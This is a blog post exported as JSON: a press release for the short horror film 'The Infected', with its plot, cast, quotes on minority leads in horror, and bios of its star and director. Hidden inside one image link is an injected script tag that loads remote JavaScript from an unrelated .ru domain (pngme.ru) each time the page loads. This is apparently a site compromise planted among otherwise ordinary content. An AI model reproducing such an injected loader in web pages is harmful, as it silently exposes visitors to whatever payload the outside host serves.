{"id":10460,"date":"2014-04-03T22:13:35","date_gmt":"2014-04-04T04:13:35","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=10460"},"modified":"2014-04-04T07:47:35","modified_gmt":"2014-04-04T13:47:35","slug":"the-infected-press-release","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=10460","title":{"rendered":"&#8220;The Infected&#8221; Press Release"},"content":{"rendered":"<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10467\" rel=\"attachment wp-att-10467\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-10467\" alt=\"still2\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still2-300x169.jpg\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still2-300x169.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still2-75x42.jpg 75w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still2.jpg 339w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>PRESS RELEASE &#8211; <b>&#8220;The Infected&#8221;<\/b><\/p>\n<p>Chainsaw to the Leg, LLC<\/p>\n<p>Starring Helenna Santos: Filipino American Actress Stars in Horror Film<\/p>\n<p>Written by: Barry Morgan<\/p>\n<p>Story by: Helenna Santos and Barry Morgan<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10464\" rel=\"attachment wp-att-10464\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-10464\" alt=\"Promo1\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo1-300x175.jpg\" width=\"300\" height=\"175\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo1-300x175.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo1-75x43.jpg 75w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo1.jpg 328w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Los Angeles &#8211; Writer\/Director Barry Morgan\u2019s (Arcana) new short horror film The Infected wrapped principal photography in Los Angeles last week and stars Filipino American actress Helenna Santos (American Reunion, Black Box TV), who also produced the film with Morgan.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10463\" rel=\"attachment wp-att-10463\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-10463\" alt=\"POSTER\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/POSTER.jpg\" width=\"148\" height=\"192\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/POSTER.jpg 148w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/POSTER-57x75.jpg 57w\" sizes=\"auto, (max-width: 148px) 100vw, 148px\" \/><\/a><\/p>\n<p><b>The plot of The Infected is as follows:<\/b><\/p>\n<p>\u201cFour friends meet to celebrate their college graduation when a dirty bomb containing a highly contagious and lethal virus explodes in Los Angeles. Quarantined together in a tiny apartment they pass the time with drugs, sex, and alcohol. As the effects of the virus begin to set in, a sickness invades their bodies, and they all turn on one another in a battle to survive. Little do they know, the plague outside the front door is nowhere near as strong as the illness they&#8217;ve created inside.\u201d<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10466\" rel=\"attachment wp-att-10466\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-10466\" alt=\"still1\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still1-300x166.jpg\" width=\"300\" height=\"166\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still1-300x166.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still1-75x41.jpg 75w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/still1.jpg 346w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p>While The Infected fits squarely in the horror genre, it has one important difference. The lead character is a visible minority. As Morgan states: \u201cWe never even thought about the fact that Helenna is a visible minority. It was only after we wrapped and started discussing our plans for the project that we realized how much of an anomaly it is to have a lead actress who isn\u2019t Caucasian in a North American made horror film.&#8221;<\/p>\n<p>Santos added: \u201cThe entertainment industry has a long way to go in properly representing our cultural landscape. It\u2019s really shocking to me that in the horror genre we could only think of a handful of women who play the lead role and are visible minorities. I&#8217;m Filipino\/Russian\/German and often get shoved into the &#8216;other&#8217; category when it comes to casting. I was very excited about producing and acting in this project from the beginning, but even more so now that we are able to shed light on the fact that visible minorities can be more than just a stereotype or a supporting character.\u201d<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10465\" rel=\"attachment wp-att-10465\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-10465\" alt=\"Promo3\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo3.jpg\" width=\"285\" height=\"192\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo3.jpg 285w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Promo3-75x50.jpg 75w\" sizes=\"auto, (max-width: 285px) 100vw, 285px\" \/><\/a><\/p>\n<p>The Infected also stars Jerod Meagher (ABCs of Death 2, Guys Reading Poems), Austin Hillebrecht (Grimm, Arcana) and Melissa Katzin (The Forgotten), and is now in development as a feature film based on the short.<\/p>\n<p>The Infected official website: <a href=\"http:\/\/www.theinfectedfilm.com\">http:\/\/www.theinfectedfilm.com<\/a><\/p>\n<p>Trailer: <a href=\"http:\/\/youtu.be\/zN4C2avw05U\">http:\/\/youtu.be\/zN4C2avw05U<\/a><\/p>\n<p>Helenna Santos: <a href=\"http:\/\/www.imdb.com\/name\/nm1921747\">http:\/\/www.imdb.com\/name\/nm1921747<\/a><\/p>\n<p>Barry Morgan: <a href=\"http:\/\/www.imdb.com\/name\/nm4814818\">http:\/\/www.imdb.com\/name\/nm4814818<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Further\u00a0information about Helenna and Barry:<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10462\" rel=\"attachment wp-att-10462\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-10462\" alt=\"Helenna\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Helenna.jpg\" width=\"127\" height=\"192\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Helenna.jpg 127w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/Helenna-49x75.jpg 49w\" sizes=\"auto, (max-width: 127px) 100vw, 127px\" \/><\/a><\/p>\n<p><b>HELENNA SANTOS <\/b><\/p>\n<p>Helenna Santos is known for her work in a number of high profile projects including Universal\u2019s American Reunion, USA Network\u2019s The Dead Zone, and the digital series Black Box TV. She is the founder of Ms. In The Biz, a blog-style magazine written by and for women in entertainment. As a producer, in addition to The Infected, Helenna is in development for 2 short films and a feature film all to be produced alongside Barry Morgan. She is also the lead actress and a producer on the digital series Henchmen. Official site: <a href=\"http:\/\/www.helennasantoslevy.com\">www.helennasantoslevy.com<\/a><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=10468\" rel=\"attachment wp-att-10468\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-10468\" alt=\"barry (2)\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/barry-2.jpg\" width=\"280\" height=\"201\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/barry-2.jpg 280w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/04\/barry-2-75x53.jpg 75w\" sizes=\"auto, (max-width: 280px) 100vw, 280px\" \/><\/a><\/p>\n<p><b>BARRY MORGAN <\/b><\/p>\n<p>Barry Morgan is a writer, producer and director, as well as a columnist for Maxitmagazine.com and creator of the podcast 1313 Blood Lane. 1313 Blood Lane has guests from current films and classic films from the 70s, 80s, and 90s.\u00a0\u00a0 He has received producing and directing awards for the web series Arcana and has interviewed some of the biggest names in the horror genre.<\/p>\n<p>&nbsp;<\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>PRESS RELEASE &#8211; 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